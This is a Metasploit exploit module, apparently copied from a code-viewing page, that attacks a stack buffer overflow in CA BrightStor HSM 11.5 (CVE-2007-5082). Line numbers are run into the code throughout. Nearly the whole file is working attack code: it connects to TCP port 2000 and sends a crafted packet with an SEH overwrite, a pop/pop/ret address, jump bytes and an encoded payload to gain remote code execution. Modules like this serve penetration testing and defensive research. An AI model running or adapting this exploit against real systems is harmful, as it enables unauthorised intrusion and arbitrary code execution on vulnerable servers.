Path: blob/master/modules/exploits/windows/brightstor/hsmserver.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CA BrightStor HSM Buffer Overflow',16'Description' => %q{17This module exploits one of the multiple stack buffer overflows in Computer Associates BrightStor HSM.18By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.19},20'Author' => [ 'toto' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2007-5082' ],24[ 'OSVDB', '41363' ],25[ 'BID', '25823' ],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'process',30},31'Payload' => {32'Space' => 1026,33'BadChars' => "\x00\x0a\x0d;",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38# NX can be bypassed by brute forcing ntdll addresses as the process is restarted39# pop/pop/ret in fpparser.dll (old from 2004)40[ 'BrightStor HSM 11.5 Windows All', { 'Ret' => 0x12014c78 } ],41],42'DisclosureDate' => '2007-09-27',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54Opt::RPORT(2000)55]56)57end5859def exploit60connect6162data =63[42, 7, 0, 0].pack('VVVV') +64payload.encoded +65"\xeb\x06" +66Rex::Text.rand_text_alphanumeric(2) +67[ target.ret ].pack('V') +68"\xe9\xf1\xfb\xff\xff" +69Rex::Text.rand_text_alphanumeric(0x100)7071sploit = [data.length + 4].pack('V') + data7273print_status("Trying target #{target.name}...")7475sock.put(sploit)76handler77disconnect78end79end808182